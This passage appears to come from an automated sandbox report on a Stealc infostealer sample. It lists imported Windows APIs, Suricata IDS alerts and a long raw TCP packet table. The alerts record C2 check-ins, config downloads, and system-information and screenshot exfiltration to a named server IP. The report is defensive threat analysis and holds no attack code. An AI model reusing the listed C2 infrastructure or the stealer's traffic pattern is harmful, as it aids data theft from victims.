GetCommandLineA, GetStartupInfoA, TerminateProcess, GetCurrentProcess, UnhandledExceptionFilter, IsDebuggerPresent, GetCPInfo, InterlockedIncrement, InterlockedDecrement, GetOEMCP, IsValidCodePage, TlsGetValue, TlsAlloc, TlsSetValue, TlsFree, SetLastError, GetCurrentThreadId, DeleteCriticalSection, LeaveCriticalSection, EnterCriticalSection, HeapFree, VirtualFree, HeapCreate, WriteFile, HeapSize, InitializeCriticalSectionAndSpinCount, FreeEnvironmentStringsA, GetEnvironmentStrings, WideCharToMultiByte, GetEnvironmentStringsW, SetHandleCount, GetFileType, QueryPerformanceCounter, GetCurrentProcessId, GetSystemTimeAsFileTime, LCMapStringA, LCMapStringW, GetStringTypeA, GetStringTypeW, GetLocaleInfoA, RtlUnwind, GetConsoleCP, GetConsoleMode, FlushFileBuffers, SetFilePointer, CloseHandle, WriteConsoleA, GetConsoleOutputCP, WriteConsoleW, SetStdHandle, GetModuleHandleA

USER32.dll

InflateRect

Possible Origin

Language of compilation system	Country where language is spoken	Map
Turkish	Turkey

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-11-07T17:25:11.379162+0100	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.6	49715	95.215.204.182	80	TCP
2024-11-07T17:25:11.627448+0100	2044244	ET MALWARE Win32/Stealc Requesting browsers Config from C2	1	192.168.2.6	49715	95.215.204.182	80	TCP
2024-11-07T17:25:11.634060+0100	2044245	ET MALWARE Win32/Stealc Active C2 Responding with browsers Config	1	95.215.204.182	80	192.168.2.6	49715	TCP
2024-11-07T17:25:11.875842+0100	2044246	ET MALWARE Win32/Stealc Requesting plugins Config from C2	1	192.168.2.6	49715	95.215.204.182	80	TCP
2024-11-07T17:25:11.883194+0100	2044247	ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config	1	95.215.204.182	80	192.168.2.6	49715	TCP
2024-11-07T17:25:12.651113+0100	2044248	ET MALWARE Win32/Stealc Submitting System Information to C2	1	192.168.2.6	49715	95.215.204.182	80	TCP
2024-11-07T17:25:14.179875+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.6	49715	95.215.204.182	80	TCP
2024-11-07T17:25:24.162501+0100	2022930	ET EXPLOIT Possible CVE-2016-2211 Symantec Cab Parsing Buffer Overflow	1	4.245.163.56	443	192.168.2.6	49776	TCP
2024-11-07T17:25:41.141352+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.6	49911	95.215.204.182	80	TCP
2024-11-07T17:25:44.378053+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.6	49911	95.215.204.182	80	TCP
2024-11-07T17:25:45.974454+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.6	49911	95.215.204.182	80	TCP
2024-11-07T17:25:46.964683+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.6	49911	95.215.204.182	80	TCP
2024-11-07T17:25:49.225697+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.6	49911	95.215.204.182	80	TCP
2024-11-07T17:25:49.889686+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.6	49911	95.215.204.182	80	TCP
2024-11-07T17:25:52.143799+0100	2044249	ET MALWARE Win32/Stealc Submitting Screenshot to C2	1	192.168.2.6	49911	95.215.204.182	80	TCP
2024-11-07T17:26:03.547147+0100	2022930	ET EXPLOIT Possible CVE-2016-2211 Symantec Cab Parsing Buffer Overflow	1	4.245.163.56	443	192.168.2.6	50062	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Nov 7, 2024 17:25:02.010497093 CET	49674	443	192.168.2.6	173.222.162.64
Nov 7, 2024 17:25:02.010504961 CET	49673	443	192.168.2.6	173.222.162.64
Nov 7, 2024 17:25:02.323048115 CET	49672	443	192.168.2.6	173.222.162.64
Nov 7, 2024 17:25:03.267059088 CET	49713	443	192.168.2.6	40.115.3.253
Nov 7, 2024 17:25:03.267096043 CET	443	49713	40.115.3.253	192.168.2.6
Nov 7, 2024 17:25:03.267195940 CET	49713	443	192.168.2.6	40.115.3.253
Nov 7, 2024 17:25:03.268002033 CET	49713	443	192.168.2.6	40.115.3.253
Nov 7, 2024 17:25:03.268014908 CET	443	49713	40.115.3.253	192.168.2.6
Nov 7, 2024 17:25:04.389434099 CET	443	49713	40.115.3.253	192.168.2.6
Nov 7, 2024 17:25:04.389532089 CET	49713	443	192.168.2.6	40.115.3.253
Nov 7, 2024 17:25:04.394334078 CET	49713	443	192.168.2.6	40.115.3.253
Nov 7, 2024 17:25:04.394345045 CET	443	49713	40.115.3.253	192.168.2.6
Nov 7, 2024 17:25:04.394593954 CET	443	49713	40.115.3.253	192.168.2.6
Nov 7, 2024 17:25:04.411478043 CET	49713	443	192.168.2.6	40.115.3.253
Nov 7, 2024 17:25:04.411537886 CET	49713	443	192.168.2.6	40.115.3.253
Nov 7, 2024 17:25:04.411544085 CET	443	49713	40.115.3.253	192.168.2.6
Nov 7, 2024 17:25:04.411653996 CET	49713	443	192.168.2.6	40.115.3.253
Nov 7, 2024 17:25:04.455332041 CET	443	49713	40.115.3.253	192.168.2.6
Nov 7, 2024 17:25:04.661678076 CET	443	49713	40.115.3.253	192.168.2.6
Nov 7, 2024 17:25:04.662286997 CET	49713	443	192.168.2.6	40.115.3.253
Nov 7, 2024 17:25:04.662307024 CET	443	49713	40.115.3.253	192.168.2.6
Nov 7, 2024 17:25:04.662322044 CET	49713	443	192.168.2.6	40.115.3.253
Nov 7, 2024 17:25:04.662358046 CET	49713	443	192.168.2.6	40.115.3.253
Nov 7, 2024 17:25:08.334289074 CET	49714	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:08.334335089 CET	443	49714	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:08.334433079 CET	49714	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:08.334777117 CET	49714	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:08.334789038 CET	443	49714	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:09.103322983 CET	443	49714	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:09.103468895 CET	49714	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:09.107543945 CET	49714	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:09.107578993 CET	443	49714	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:09.107892036 CET	443	49714	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:09.119018078 CET	49714	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:09.163332939 CET	443	49714	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:09.373402119 CET	443	49714	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:09.373423100 CET	443	49714	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:09.373492956 CET	49714	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:09.373538017 CET	443	49714	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:09.373568058 CET	443	49714	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:09.373606920 CET	49714	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:09.373615980 CET	443	49714	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:09.416691065 CET	49714	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:09.491858959 CET	443	49714	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:09.491873026 CET	443	49714	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:09.491909027 CET	443	49714	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:09.491975069 CET	443	49714	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:09.492109060 CET	49714	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:09.492160082 CET	443	49714	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:09.492264032 CET	49714	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:09.610673904 CET	443	49714	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:09.610702991 CET	443	49714	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:09.610816956 CET	49714	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:09.610856056 CET	443	49714	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:09.610907078 CET	49714	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:09.728866100 CET	443	49714	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:09.728893042 CET	443	49714	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:09.729083061 CET	49714	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:09.729121923 CET	443	49714	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:09.729187012 CET	49714	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:09.848093033 CET	443	49714	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:09.848118067 CET	443	49714	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:09.848223925 CET	49714	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:09.848252058 CET	443	49714	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:09.848304033 CET	49714	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:09.889851093 CET	443	49714	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:09.889880896 CET	443	49714	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:09.889966011 CET	49714	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:09.890000105 CET	443	49714	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:09.890045881 CET	49714	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:09.929848909 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:09.934760094 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:09.934843063 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:09.939254999 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:09.944000959 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:09.967766047 CET	443	49714	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:09.967794895 CET	443	49714	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:09.967881918 CET	49714	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:09.967910051 CET	443	49714	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:09.967962980 CET	49714	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:10.088099957 CET	443	49714	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:10.088123083 CET	443	49714	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:10.088177919 CET	49714	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:10.088193893 CET	443	49714	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:10.088242054 CET	49714	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:10.206636906 CET	443	49714	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:10.206665993 CET	443	49714	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:10.206835032 CET	49714	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:10.206867933 CET	443	49714	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:10.206912041 CET	49714	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:10.324855089 CET	443	49714	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:10.324883938 CET	443	49714	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:10.325042009 CET	49714	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:10.325082064 CET	443	49714	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:10.325143099 CET	49714	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:10.368331909 CET	443	49714	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:10.368343115 CET	443	49714	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:10.368500948 CET	49714	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:10.368526936 CET	443	49714	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:10.368566036 CET	49714	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:10.444258928 CET	443	49714	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:10.444278002 CET	443	49714	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:10.444365978 CET	49714	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:10.444386005 CET	443	49714	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:10.444423914 CET	49714	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:10.562429905 CET	443	49714	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:10.562453032 CET	443	49714	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:10.562561989 CET	49714	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:10.562582016 CET	443	49714	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:10.562624931 CET	49714	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:10.562659979 CET	443	49714	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:10.562710047 CET	49714	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:10.562716961 CET	443	49714	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:10.562728882 CET	443	49714	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:10.562761068 CET	49714	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:10.562971115 CET	49714	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:10.562982082 CET	443	49714	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:10.562993050 CET	49714	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:10.562998056 CET	443	49714	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:10.627140045 CET	49716	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:10.627192974 CET	443	49716	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:10.627254963 CET	49716	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:10.629301071 CET	49717	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:10.629343987 CET	443	49717	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:10.629405975 CET	49717	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:10.630492926 CET	49718	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:10.630506039 CET	443	49718	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:10.630552053 CET	49718	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:10.630800962 CET	49716	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:10.630810976 CET	443	49716	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:10.635015011 CET	49719	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:10.635023117 CET	443	49719	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:10.635077000 CET	49719	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:10.635279894 CET	49719	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:10.635291100 CET	443	49719	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:10.635536909 CET	49717	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:10.635550022 CET	443	49717	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:10.635724068 CET	49718	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:10.635732889 CET	443	49718	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:10.636420012 CET	49720	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:10.636470079 CET	443	49720	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:10.636519909 CET	49720	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:10.636806965 CET	49720	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:10.636822939 CET	443	49720	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:10.785641909 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:10.785795927 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:10.971553087 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:10.976437092 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:11.379035950 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:11.379162073 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:11.380553961 CET	443	49720	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:11.380569935 CET	443	49716	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:11.380680084 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:11.381201982 CET	49716	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:11.381203890 CET	49720	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:11.381237984 CET	443	49720	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:11.381239891 CET	443	49716	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:11.381752014 CET	49716	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:11.381757021 CET	443	49716	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:11.381876945 CET	49720	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:11.381882906 CET	443	49720	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:11.382092953 CET	443	49718	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:11.382220984 CET	443	49717	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:11.382422924 CET	49718	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:11.382436037 CET	443	49718	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:11.382497072 CET	49717	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:11.382534027 CET	443	49717	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:11.382859945 CET	49718	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:11.382864952 CET	443	49718	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:11.382930040 CET	49717	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:11.382936954 CET	443	49717	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:11.383285046 CET	443	49719	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:11.383590937 CET	49719	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:11.383605003 CET	443	49719	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:11.383933067 CET	49719	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:11.383938074 CET	443	49719	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:11.385521889 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:11.507435083 CET	443	49720	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:11.507880926 CET	443	49720	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:11.507941008 CET	49720	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:11.508002043 CET	49720	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:11.508019924 CET	443	49720	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:11.508037090 CET	49720	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:11.508043051 CET	443	49720	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:11.510062933 CET	443	49717	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:11.510086060 CET	443	49717	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:11.510166883 CET	443	49717	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:11.510170937 CET	49717	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:11.510205984 CET	49717	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:11.510549068 CET	49717	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:11.510574102 CET	443	49717	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:11.510590076 CET	49717	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:11.510596991 CET	443	49717	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:11.512301922 CET	49721	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:11.512337923 CET	443	49721	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:11.512413979 CET	49721	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:11.512676001 CET	49721	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:11.512695074 CET	443	49721	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:11.512917042 CET	443	49718	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:11.512945890 CET	443	49718	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:11.512991905 CET	443	49718	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:11.512993097 CET	49718	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:11.513032913 CET	49718	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:11.513622046 CET	49722	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:11.513647079 CET	443	49722	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:11.513700962 CET	49722	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:11.513816118 CET	49722	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:11.513828039 CET	443	49722	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:11.516022921 CET	443	49719	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:11.516045094 CET	443	49719	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:11.516098022 CET	49719	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:11.516124010 CET	443	49719	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:11.516165018 CET	49719	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:11.516385078 CET	443	49719	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:11.516428947 CET	443	49719	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:11.516474009 CET	49719	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:11.517587900 CET	443	49716	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:11.517631054 CET	49718	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:11.517647028 CET	443	49718	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:11.517657042 CET	443	49716	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:11.517657042 CET	49718	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:11.517663002 CET	443	49718	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:11.517695904 CET	49716	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:11.517719030 CET	49719	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:11.517719030 CET	49719	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:11.517746925 CET	443	49719	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:11.517765999 CET	443	49719	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:11.517926931 CET	49716	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:11.517931938 CET	443	49716	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:11.517960072 CET	49716	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:11.517963886 CET	443	49716	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:11.520119905 CET	49723	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:11.520140886 CET	443	49723	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:11.520220041 CET	49723	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:11.520695925 CET	49723	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:11.520716906 CET	443	49723	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:11.521648884 CET	49724	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:11.521682024 CET	443	49724	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:11.521763086 CET	49724	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:11.521872044 CET	49724	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:11.521888971 CET	443	49724	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:11.522470951 CET	49725	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:11.522499084 CET	443	49725	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:11.522559881 CET	49725	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:11.522666931 CET	49725	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:11.522680044 CET	443	49725	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:11.619896889 CET	49673	443	192.168.2.6	173.222.162.64
Nov 7, 2024 17:25:11.619898081 CET	49674	443	192.168.2.6	173.222.162.64
Nov 7, 2024 17:25:11.627356052 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:11.627448082 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:11.627460003 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:11.627552032 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:11.629235029 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:11.634059906 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:11.875742912 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:11.875756979 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:11.875767946 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:11.875842094 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:11.875845909 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:11.875857115 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:11.875868082 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:11.875907898 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:11.875974894 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:11.875991106 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:11.876032114 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:11.876049042 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:11.877846003 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:11.883193970 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:11.932435989 CET	49672	443	192.168.2.6	173.222.162.64
Nov 7, 2024 17:25:12.125370979 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:12.125566006 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:12.150115013 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:12.150115013 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:12.155082941 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:12.155163050 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:12.155173063 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:12.155185938 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:12.155293941 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:12.155953884 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:12.263292074 CET	443	49721	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:12.263955116 CET	49721	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:12.263974905 CET	443	49721	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:12.264514923 CET	49721	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:12.264520884 CET	443	49721	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:12.270759106 CET	443	49725	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:12.271251917 CET	49725	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:12.271337032 CET	443	49725	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:12.271687031 CET	49725	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:12.271702051 CET	443	49725	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:12.272036076 CET	443	49723	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:12.272495031 CET	49723	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:12.272510052 CET	443	49723	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:12.272806883 CET	49723	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:12.272811890 CET	443	49723	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:12.276510000 CET	443	49724	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:12.276794910 CET	49724	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:12.276814938 CET	443	49724	13.107.246.45	192.168.2.6
